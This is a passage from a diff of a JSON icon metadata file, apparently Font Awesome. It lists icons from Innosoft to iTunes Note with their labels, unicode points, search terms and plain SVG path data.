12h-88c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h12v-64h-12c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h64c6.627 0 12 5.373 12 12v100h12c6.627 0 12 5.373 12 12v24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119.043 8 8 119.083 8 256c0 136.997 111.043 248 248 248s248-111.003 248-248C504 119.083 392.957 8 256 8zm0 110c23.196 0 42 18.804 42 42s-18.804 42-42 42-42-18.804-42-42 18.804-42 42-42zm56 254c0 6.627-5.373 12-12 12h-88c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h12v-64h-12c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h64c6.627 0 12 5.373 12 12v100h12c6.627 0 12 5.373 12 12v24z" + } + }, + "free": [ + "solid" + ] + }, + "innosoft": { + "changes": [ + "5.15.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e080", + "label": "Innosoft", + "voted": false, + "svg": { + "brands": { + "last_modified": 1603226785923, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M422.559,159.71a27.379,27.379,0,0,0-13.866-23.337,26.42,26.42,0,0,0-26.211.133L73.943,314.647V176.261a11.955,11.955,0,0,1,6.047-10.34L218.066,86.208a12.153,12.153,0,0,1,11.922.025l32.656,18.853L112.581,191.723v56L359.642,105.086,241.129,36.679c-10.992-6.129-22.3-6.255-33.8-.27l-164.6,95.026c-10.634,6.12-16.771,16.39-17.29,29.124l0,191.5c.17,10.135,5.08,18.672,13.474,23.428a27.037,27.037,0,0,0,26.736-.045L374.057,197.376V335.657a11.976,11.976,0,0,1-5.92,10.368L230.025,425.77a12.175,12.175,0,0,1-11.937.062l-32.723-18.9,150.051-86.627v-56L88.367,406.932l118.794,68.583a33.88,33.88,0,0,0,34.25-.327l164.527-94.995c10.746-6.631,16.649-17.118,16.624-29.528Z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M422.559,159.71a27.379,27.379,0,0,0-13.866-23.337,26.42,26.42,0,0,0-26.211.133L73.943,314.647V176.261a11.955,11.955,0,0,1,6.047-10.34L218.066,86.208a12.153,12.153,0,0,1,11.922.025l32.656,18.853L112.581,191.723v56L359.642,105.086,241.129,36.679c-10.992-6.129-22.3-6.255-33.8-.27l-164.6,95.026c-10.634,6.12-16.771,16.39-17.29,29.124l0,191.5c.17,10.135,5.08,18.672,13.474,23.428a27.037,27.037,0,0,0,26.736-.045L374.057,197.376V335.657a11.976,11.976,0,0,1-5.92,10.368L230.025,425.77a12.175,12.175,0,0,1-11.937.062l-32.723-18.9,150.051-86.627v-56L88.367,406.932l118.794,68.583a33.88,33.88,0,0,0,34.25-.327l164.527-94.995c10.746-6.631,16.649-17.118,16.624-29.528Z" + } + }, + "free": [ + "brands" + ] + }, + "instagram": { + "changes": [ + "4.6", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f16d", + "label": "Instagram", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860998, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224.1 141c-63.6 0-114.9 51.3-114.9 114.9s51.3 114.9 114.9 114.9S339 319.5 339 255.9 287.7 141 224.1 141zm0 189.6c-41.1 0-74.7-33.5-74.7-74.7s33.5-74.7 74.7-74.7 74.7 33.5 74.7 74.7-33.6 74.7-74.7 74.7zm146.4-194.3c0 14.9-12 26.8-26.8 26.8-14.9 0-26.8-12-26.8-26.8s12-26.8 26.8-26.8 26.8 12 26.8 26.8zm76.1 27.2c-1.7-35.9-9.9-67.7-36.2-93.9-26.2-26.2-58-34.4-93.9-36.2-37-2.1-147.9-2.1-184.9 0-35.8 1.7-67.6 9.9-93.9 36.1s-34.4 58-36.2 93.9c-2.1 37-2.1 147.9 0 184.9 1.7 35.9 9.9 67.7 36.2 93.9s58 34.4 93.9 36.2c37 2.1 147.9 2.1 184.9 0 35.9-1.7 67.7-9.9 93.9-36.2 26.2-26.2 34.4-58 36.2-93.9 2.1-37 2.1-147.8 0-184.8zM398.8 388c-7.8 19.6-22.9 34.7-42.6 42.6-29.5 11.7-99.5 9-132.1 9s-102.7 2.6-132.1-9c-19.6-7.8-34.7-22.9-42.6-42.6-11.7-29.5-9-99.5-9-132.1s-2.6-102.7 9-132.1c7.8-19.6 22.9-34.7 42.6-42.6 29.5-11.7 99.5-9 132.1-9s102.7-2.6 132.1 9c19.6 7.8 34.7 22.9 42.6 42.6 11.7 29.5 9 99.5 9 132.1s2.7 102.7-9 132.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M224.1 141c-63.6 0-114.9 51.3-114.9 114.9s51.3 114.9 114.9 114.9S339 319.5 339 255.9 287.7 141 224.1 141zm0 189.6c-41.1 0-74.7-33.5-74.7-74.7s33.5-74.7 74.7-74.7 74.7 33.5 74.7 74.7-33.6 74.7-74.7 74.7zm146.4-194.3c0 14.9-12 26.8-26.8 26.8-14.9 0-26.8-12-26.8-26.8s12-26.8 26.8-26.8 26.8 12 26.8 26.8zm76.1 27.2c-1.7-35.9-9.9-67.7-36.2-93.9-26.2-26.2-58-34.4-93.9-36.2-37-2.1-147.9-2.1-184.9 0-35.8 1.7-67.6 9.9-93.9 36.1s-34.4 58-36.2 93.9c-2.1 37-2.1 147.9 0 184.9 1.7 35.9 9.9 67.7 36.2 93.9s58 34.4 93.9 36.2c37 2.1 147.9 2.1 184.9 0 35.9-1.7 67.7-9.9 93.9-36.2 26.2-26.2 34.4-58 36.2-93.9 2.1-37 2.1-147.8 0-184.8zM398.8 388c-7.8 19.6-22.9 34.7-42.6 42.6-29.5 11.7-99.5 9-132.1 9s-102.7 2.6-132.1-9c-19.6-7.8-34.7-22.9-42.6-42.6-11.7-29.5-9-99.5-9-132.1s-2.6-102.7 9-132.1c7.8-19.6 22.9-34.7 42.6-42.6 29.5-11.7 99.5-9 132.1-9s102.7-2.6 132.1 9c19.6 7.8 34.7 22.9 42.6 42.6 11.7 29.5 9 99.5 9 132.1s2.7 102.7-9 132.1z" + } + }, + "free": [ + "brands" + ] + }, + "instagram-square": { + "changes": [ + "5.12.1", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e055", + "label": "Instagram Square", + "voted": true, + "svg": { + "brands": { + "last_modified": 1581349336590, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224,202.66A53.34,53.34,0,1,0,277.36,256,53.38,53.38,0,0,0,224,202.66Zm124.71-41a54,54,0,0,0-30.41-30.41c-21-8.29-71-6.43-94.3-6.43s-73.25-1.93-94.31,6.43a54,54,0,0,0-30.41,30.41c-8.28,21-6.43,71.05-6.43,94.33S91,329.26,99.32,350.33a54,54,0,0,0,30.41,30.41c21,8.29,71,6.43,94.31,6.43s73.24,1.93,94.3-6.43a54,54,0,0,0,30.41-30.41c8.35-21,6.43-71.05,6.43-94.33S357.1,182.74,348.75,161.67ZM224,338a82,82,0,1,1,82-82A81.9,81.9,0,0,1,224,338Zm85.38-148.3a19.14,19.14,0,1,1,19.13-19.14A19.1,19.1,0,0,1,309.42,189.74ZM400,32H48A48,48,0,0,0,0,80V432a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V80A48,48,0,0,0,400,32ZM382.88,322c-1.29,25.63-7.14,48.34-25.85,67s-41.4,24.63-67,25.85c-26.41,1.49-105.59,1.49-132,0-25.63-1.29-48.26-7.15-67-25.85s-24.63-41.42-25.85-67c-1.49-26.42-1.49-105.61,0-132,1.29-25.63,7.07-48.34,25.85-67s41.47-24.56,67-25.78c26.41-1.49,105.59-1.49,132,0,25.63,1.29,48.33,7.15,67,25.85s24.63,41.42,25.85,67.05C384.37,216.44,384.37,295.56,382.88,322Z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M224,202.66A53.34,53.34,0,1,0,277.36,256,53.38,53.38,0,0,0,224,202.66Zm124.71-41a54,54,0,0,0-30.41-30.41c-21-8.29-71-6.43-94.3-6.43s-73.25-1.93-94.31,6.43a54,54,0,0,0-30.41,30.41c-8.28,21-6.43,71.05-6.43,94.33S91,329.26,99.32,350.33a54,54,0,0,0,30.41,30.41c21,8.29,71,6.43,94.31,6.43s73.24,1.93,94.3-6.43a54,54,0,0,0,30.41-30.41c8.35-21,6.43-71.05,6.43-94.33S357.1,182.74,348.75,161.67ZM224,338a82,82,0,1,1,82-82A81.9,81.9,0,0,1,224,338Zm85.38-148.3a19.14,19.14,0,1,1,19.13-19.14A19.1,19.1,0,0,1,309.42,189.74ZM400,32H48A48,48,0,0,0,0,80V432a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V80A48,48,0,0,0,400,32ZM382.88,322c-1.29,25.63-7.14,48.34-25.85,67s-41.4,24.63-67,25.85c-26.41,1.49-105.59,1.49-132,0-25.63-1.29-48.26-7.15-67-25.85s-24.63-41.42-25.85-67c-1.49-26.42-1.49-105.61,0-132,1.29-25.63,7.07-48.34,25.85-67s41.47-24.56,67-25.78c26.41-1.49,105.59-1.49,132,0,25.63,1.29,48.33,7.15,67,25.85s24.63,41.42,25.85,67.05C384.37,216.44,384.37,295.56,382.88,322Z" + } + }, + "free": [ + "brands" + ] + }, + "instalod": { + "changes": [ + "5.15.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e081", + "label": "InstaLOD", + "voted": false, + "svg": { + "brands": { + "last_modified": 1603226785924, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" data-name=\"Layer 1\" viewBox=\"0 0 512 512\"><path d=\"M153.384,480H387.113L502.554,275.765,204.229,333.211ZM504.726,240.078,387.113,32H155.669L360.23,267.9ZM124.386,48.809,7.274,256,123.236,461.154,225.627,165.561Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M153.384,480H387.113L502.554,275.765,204.229,333.211ZM504.726,240.078,387.113,32H155.669L360.23,267.9ZM124.386,48.809,7.274,256,123.236,461.154,225.627,165.561Z" + } + }, + "free": [ + "brands" + ] + }, + "intercom": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "app", + "customer", + "messenger" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f7af", + "label": "Intercom", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860998, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M392 32H56C25.1 32 0 57.1 0 88v336c0 30.9 25.1 56 56 56h336c30.9 0 56-25.1 56-56V88c0-30.9-25.1-56-56-56zm-108.3 82.1c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zm-74.6-7.5c0-19.8 29.9-19.8 29.9 0v216.5c0 19.8-29.9 19.8-29.9 0V106.6zm-74.7 7.5c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zM59.7 144c0-19.8 29.9-19.8 29.9 0v134.3c0 19.8-29.9 19.8-29.9 0V144zm323.4 227.8c-72.8 63-241.7 65.4-318.1 0-15-12.8 4.4-35.5 19.4-22.7 65.9 55.3 216.1 53.9 279.3 0 14.9-12.9 34.3 9.8 19.4 22.7zm5.2-93.5c0 19.8-29.9 19.8-29.9 0V144c0-19.8 29.9-19.8 29.9 0v134.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M392 32H56C25.1 32 0 57.1 0 88v336c0 30.9 25.1 56 56 56h336c30.9 0 56-25.1 56-56V88c0-30.9-25.1-56-56-56zm-108.3 82.1c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zm-74.6-7.5c0-19.8 29.9-19.8 29.9 0v216.5c0 19.8-29.9 19.8-29.9 0V106.6zm-74.7 7.5c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zM59.7 144c0-19.8 29.9-19.8 29.9 0v134.3c0 19.8-29.9 19.8-29.9 0V144zm323.4 227.8c-72.8 63-241.7 65.4-318.1 0-15-12.8 4.4-35.5 19.4-22.7 65.9 55.3 216.1 53.9 279.3 0 14.9-12.9 34.3 9.8 19.4 22.7zm5.2-93.5c0 19.8-29.9 19.8-29.9 0V144c0-19.8 29.9-19.8 29.9 0v134.3z" + } + }, + "free": [ + "brands" + ] + }, + "internet-explorer": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "browser", + "ie" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f26b", + "label": "Internet-explorer", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860999, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M483.049 159.706c10.855-24.575 21.424-60.438 21.424-87.871 0-72.722-79.641-98.371-209.673-38.577-107.632-7.181-211.221 73.67-237.098 186.457 30.852-34.862 78.271-82.298 121.977-101.158C125.404 166.85 79.128 228.002 43.992 291.725 23.246 329.651 0 390.94 0 436.747c0 98.575 92.854 86.5 180.251 42.006 31.423 15.43 66.559 15.573 101.695 15.573 97.124 0 184.249-54.294 216.814-146.022H377.927c-52.509 88.593-196.819 52.996-196.819-47.436H509.9c6.407-43.581-1.655-95.715-26.851-141.162zM64.559 346.877c17.711 51.15 53.703 95.871 100.266 123.304-88.741 48.94-173.267 29.096-100.266-123.304zm115.977-108.873c2-55.151 50.276-94.871 103.98-94.871 53.418 0 101.981 39.72 103.981 94.871H180.536zm184.536-187.6c21.425-10.287 48.563-22.003 72.558-22.003 31.422 0 54.274 21.717 54.274 53.722 0 20.003-7.427 49.007-14.569 67.867-26.28-42.292-65.986-81.584-112.263-99.586z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M483.049 159.706c10.855-24.575 21.424-60.438 21.424-87.871 0-72.722-79.641-98.371-209.673-38.577-107.632-7.181-211.221 73.67-237.098 186.457 30.852-34.862 78.271-82.298 121.977-101.158C125.404 166.85 79.128 228.002 43.992 291.725 23.246 329.651 0 390.94 0 436.747c0 98.575 92.854 86.5 180.251 42.006 31.423 15.43 66.559 15.573 101.695 15.573 97.124 0 184.249-54.294 216.814-146.022H377.927c-52.509 88.593-196.819 52.996-196.819-47.436H509.9c6.407-43.581-1.655-95.715-26.851-141.162zM64.559 346.877c17.711 51.15 53.703 95.871 100.266 123.304-88.741 48.94-173.267 29.096-100.266-123.304zm115.977-108.873c2-55.151 50.276-94.871 103.98-94.871 53.418 0 101.981 39.72 103.981 94.871H180.536zm184.536-187.6c21.425-10.287 48.563-22.003 72.558-22.003 31.422 0 54.274 21.717 54.274 53.722 0 20.003-7.427 49.007-14.569 67.867-26.28-42.292-65.986-81.584-112.263-99.586z" + } + }, + "free": [ + "brands" + ] + }, + "invision": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "app", + "design", + "interface" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f7b0", + "label": "InVision", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860999, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M407.4 32H40.6C18.2 32 0 50.2 0 72.6v366.8C0 461.8 18.2 480 40.6 480h366.8c22.4 0 40.6-18.2 40.6-40.6V72.6c0-22.4-18.2-40.6-40.6-40.6zM176.1 145.6c.4 23.4-22.4 27.3-26.6 27.4-14.9 0-27.1-12-27.1-27 .1-35.2 53.1-35.5 53.7-.4zM332.8 377c-65.6 0-34.1-74-25-106.6 14.1-46.4-45.2-59-59.9.7l-25.8 103.3H177l8.1-32.5c-31.5 51.8-94.6 44.4-94.6-4.3.1-14.3.9-14 23-104.1H81.7l9.7-35.6h76.4c-33.6 133.7-32.6 126.9-32.9 138.2 0 20.9 40.9 13.5 57.4-23.2l19.8-79.4h-32.3l9.7-35.6h68.8l-8.9 40.5c40.5-75.5 127.9-47.8 101.8 38-14.2 51.1-14.6 50.7-14.9 58.8 0 15.5 17.5 22.6 31.8-16.9L386 325c-10.5 36.7-29.4 52-53.2 52z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M407.4 32H40.6C18.2 32 0 50.2 0 72.6v366.8C0 461.8 18.2 480 40.6 480h366.8c22.4 0 40.6-18.2 40.6-40.6V72.6c0-22.4-18.2-40.6-40.6-40.6zM176.1 145.6c.4 23.4-22.4 27.3-26.6 27.4-14.9 0-27.1-12-27.1-27 .1-35.2 53.1-35.5 53.7-.4zM332.8 377c-65.6 0-34.1-74-25-106.6 14.1-46.4-45.2-59-59.9.7l-25.8 103.3H177l8.1-32.5c-31.5 51.8-94.6 44.4-94.6-4.3.1-14.3.9-14 23-104.1H81.7l9.7-35.6h76.4c-33.6 133.7-32.6 126.9-32.9 138.2 0 20.9 40.9 13.5 57.4-23.2l19.8-79.4h-32.3l9.7-35.6h68.8l-8.9 40.5c40.5-75.5 127.9-47.8 101.8 38-14.2 51.1-14.6 50.7-14.9 58.8 0 15.5 17.5 22.6 31.8-16.9L386 325c-10.5 36.7-29.4 52-53.2 52z" + } + }, + "free": [ + "brands" + ] + }, + "ioxhost": { + "changes": [ + "4.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f208", + "label": "ioxhost", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860999, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M616 160h-67.3C511.2 70.7 422.9 8 320 8 183 8 72 119 72 256c0 16.4 1.6 32.5 4.7 48H24c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h67.3c37.5 89.3 125.8 152 228.7 152 137 0 248-111 248-248 0-16.4-1.6-32.5-4.7-48H616c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24zm-96 96c0 110.5-89.5 200-200 200-75.7 0-141.6-42-175.5-104H424c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24H125.8c-3.8-15.4-5.8-31.4-5.8-48 0-110.5 89.5-200 200-200 75.7 0 141.6 42 175.5 104H216c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h298.2c3.8 15.4 5.8 31.4 5.8 48zm-304-24h208c13.3 0 24 10.7 24 24 0 13.2-10.7 24-24 24H216c-13.3 0-24-10.7-24-24 0-13.2 10.7-24 24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M616 160h-67.3C511.2 70.7 422.9 8 320 8 183 8 72 119 72 256c0 16.4 1.6 32.5 4.7 48H24c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h67.3c37.5 89.3 125.8 152 228.7 152 137 0 248-111 248-248 0-16.4-1.6-32.5-4.7-48H616c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24zm-96 96c0 110.5-89.5 200-200 200-75.7 0-141.6-42-175.5-104H424c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24H125.8c-3.8-15.4-5.8-31.4-5.8-48 0-110.5 89.5-200 200-200 75.7 0 141.6 42 175.5 104H216c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h298.2c3.8 15.4 5.8 31.4 5.8 48zm-304-24h208c13.3 0 24 10.7 24 24 0 13.2-10.7 24-24 24H216c-13.3 0-24-10.7-24-24 0-13.2 10.7-24 24-24z" + } + }, + "free": [ + "brands" + ] + }, + "italic": { + "changes": [ + "1", + "5.0.0", + "5.9.0", + "5.10.1", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "edit", + "emphasis", + "font", + "format", + "text", + "type" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f033", + "label": "italic", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635559, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M320 48v32a16 16 0 0 1-16 16h-62.76l-80 320H208a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H16a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h62.76l80-320H112a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h192a16 16 0 0 1 16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M320 48v32a16 16 0 0 1-16 16h-62.76l-80 320H208a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H16a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h62.76l80-320H112a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h192a16 16 0 0 1 16 16z" + } + }, + "free": [ + "solid" + ] + }, + "itch-io": { + "changes": [ + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f83a", + "label": "itch.io", + "svg": { + "brands": { + "last_modified": 1558987775900, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M71.92 34.77C50.2 47.67 7.4 96.84 7 109.73v21.34c0 27.06 25.29 50.84 48.25 50.84 27.57 0 50.54-22.85 50.54-50 0 27.12 22.18 50 49.76 50s49-22.85 49-50c0 27.12 23.59 50 51.16 50h.5c27.57 0 51.16-22.85 51.16-50 0 27.12 21.47 50 49 50s49.76-22.85 49.76-50c0 27.12 23 50 50.54 50 23 0 48.25-23.78 48.25-50.84v-21.34c-.4-12.9-43.2-62.07-64.92-75C372.56 32.4 325.76 32 256 32S91.14 33.1 71.92 34.77zm132.32 134.39c-22 38.4-77.9 38.71-99.85.25-13.17 23.14-43.17 32.07-56 27.66-3.87 40.15-13.67 237.13 17.73 269.15 80 18.67 302.08 18.12 379.76 0 31.65-32.27 21.32-232 17.75-269.15-12.92 4.44-42.88-4.6-56-27.66-22 38.52-77.85 38.1-99.85-.24-7.1 12.49-23.05 28.94-51.76 28.94a57.54 57.54 0 0 1-51.75-28.94zm-41.58 53.77c16.47 0 31.09 0 49.22 19.78a436.91 436.91 0 0 1 88.18 0C318.22 223 332.85 223 349.31 223c52.33 0 65.22 77.53 83.87 144.45 17.26 62.15-5.52 63.67-33.95 63.73-42.15-1.57-65.49-32.18-65.49-62.79-39.25 6.43-101.93 8.79-155.55 0 0 30.61-23.34 61.22-65.49 62.79-28.42-.06-51.2-1.58-33.94-63.73 18.67-67 31.56-144.45 83.88-144.45zM256 270.79s-44.38 40.77-52.35 55.21l29-1.17v25.32c0 1.55 21.34.16 23.33.16 11.65.54 23.31 1 23.31-.16v-25.28l29 1.17c-8-14.48-52.35-55.24-52.35-55.24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M71.92 34.77C50.2 47.67 7.4 96.84 7 109.73v21.34c0 27.06 25.29 50.84 48.25 50.84 27.57 0 50.54-22.85 50.54-50 0 27.12 22.18 50 49.76 50s49-22.85 49-50c0 27.12 23.59 50 51.16 50h.5c27.57 0 51.16-22.85 51.16-50 0 27.12 21.47 50 49 50s49.76-22.85 49.76-50c0 27.12 23 50 50.54 50 23 0 48.25-23.78 48.25-50.84v-21.34c-.4-12.9-43.2-62.07-64.92-75C372.56 32.4 325.76 32 256 32S91.14 33.1 71.92 34.77zm132.32 134.39c-22 38.4-77.9 38.71-99.85.25-13.17 23.14-43.17 32.07-56 27.66-3.87 40.15-13.67 237.13 17.73 269.15 80 18.67 302.08 18.12 379.76 0 31.65-32.27 21.32-232 17.75-269.15-12.92 4.44-42.88-4.6-56-27.66-22 38.52-77.85 38.1-99.85-.24-7.1 12.49-23.05 28.94-51.76 28.94a57.54 57.54 0 0 1-51.75-28.94zm-41.58 53.77c16.47 0 31.09 0 49.22 19.78a436.91 436.91 0 0 1 88.18 0C318.22 223 332.85 223 349.31 223c52.33 0 65.22 77.53 83.87 144.45 17.26 62.15-5.52 63.67-33.95 63.73-42.15-1.57-65.49-32.18-65.49-62.79-39.25 6.43-101.93 8.79-155.55 0 0 30.61-23.34 61.22-65.49 62.79-28.42-.06-51.2-1.58-33.94-63.73 18.67-67 31.56-144.45 83.88-144.45zM256 270.79s-44.38 40.77-52.35 55.21l29-1.17v25.32c0 1.55 21.34.16 23.33.16 11.65.54 23.31 1 23.31-.16v-25.28l29 1.17c-8-14.48-52.35-55.24-52.35-55.24z" + } + }, + "free": [ + "brands" + ] + }, + "itunes": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3b4", + "label": "iTunes", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860999, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M223.6 80.3C129 80.3 52.5 157 52.5 251.5S129 422.8 223.6 422.8s171.2-76.7 171.2-171.2c0-94.6-76.7-171.3-171.2-171.3zm79.4 240c-3.2 13.6-13.5 21.2-27.3 23.8-12.1 2.2-22.2 2.8-31.9-5-11.8-10-12-26.4-1.4-36.8 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 3.2-3.6 2.2-2 2.2-80.8 0-5.6-2.7-7.1-8.4-6.1-4 .7-91.9 17.1-91.9 17.1-5 1.1-6.7 2.6-6.7 8.3 0 116.1.5 110.8-1.2 118.5-2.1 9-7.6 15.8-14.9 19.6-8.3 4.6-23.4 6.6-31.4 5.2-21.4-4-28.9-28.7-14.4-42.9 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 5-5.7.9-127 2.6-133.7.4-2.6 1.5-4.8 3.5-6.4 2.1-1.7 5.8-2.7 6.7-2.7 101-19 113.3-21.4 115.1-21.4 5.7-.4 9 3 9 8.7-.1 170.6.4 161.4-1 167.6zM345.2 32H102.8C45.9 32 0 77.9 0 134.8v242.4C0 434.1 45.9 480 102.8 480h242.4c57 0 102.8-45.9 102.8-102.8V134.8C448 77.9 402.1 32 345.2 32zM223.6 444c-106.3 0-192.5-86.2-192.5-192.5S117.3 59 223.6 59s192.5 86.2 192.5 192.5S329.9 444 223.6 444z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M223.6 80.3C129 80.3 52.5 157 52.5 251.5S129 422.8 223.6 422.8s171.2-76.7 171.2-171.2c0-94.6-76.7-171.3-171.2-171.3zm79.4 240c-3.2 13.6-13.5 21.2-27.3 23.8-12.1 2.2-22.2 2.8-31.9-5-11.8-10-12-26.4-1.4-36.8 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 3.2-3.6 2.2-2 2.2-80.8 0-5.6-2.7-7.1-8.4-6.1-4 .7-91.9 17.1-91.9 17.1-5 1.1-6.7 2.6-6.7 8.3 0 116.1.5 110.8-1.2 118.5-2.1 9-7.6 15.8-14.9 19.6-8.3 4.6-23.4 6.6-31.4 5.2-21.4-4-28.9-28.7-14.4-42.9 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 5-5.7.9-127 2.6-133.7.4-2.6 1.5-4.8 3.5-6.4 2.1-1.7 5.8-2.7 6.7-2.7 101-19 113.3-21.4 115.1-21.4 5.7-.4 9 3 9 8.7-.1 170.6.4 161.4-1 167.6zM345.2 32H102.8C45.9 32 0 77.9 0 134.8v242.4C0 434.1 45.9 480 102.8 480h242.4c57 0 102.8-45.9 102.8-102.8V134.8C448 77.9 402.1 32 345.2 32zM223.6 444c-106.3 0-192.5-86.2-192.5-192.5S117.3 59 223.6 59s192.5 86.2 192.5 192.5S329.9 444 223.6 444z" + } + }, + "free": [ + "brands" + ] + }, + "itunes-note": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3b5", + "label": "Itunes Note", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860999, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M381.9 388.2c-6.4 27.4-27.2 42.8-55.1 48-24.5 4.5-44.9 5.6-64.5-10.2-23.9-20.1-24.2-53.4-2.7-74.4 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 6.4-7.2 4.4-4.1 4.4-163.2 0-11.2-5.5-14.3-17-12.3-8.2 1.4-185.7 34.6-185.7 34.6-10.2 2.2-13.4 5.2-13.4 16.7 0 234.7 1.1 223.9-2.5 239.5-4.2 18.2-15.4 31.9-30.2 39.5-16.8 9.3-47.2 13.4-63.4 10.4-43.2-8.1-58.4-58-29.1-86.6 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 10.1-11.5 1.8-256.6 5.2-270.2.8-5.2 3-9.6 7.1-12.9 4.2-3.5 11.8-5.5 13.4-5.5 204-38.2 228.9-43.1 232.4-43.1 11.5-.8 18.1 6 18.1 17.6.2 344.5 1.1 326-1.8 338.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M381.9 388.2c-6.4 27.4-27.2 42.8-55.1 48-24.5 4.5-44.9 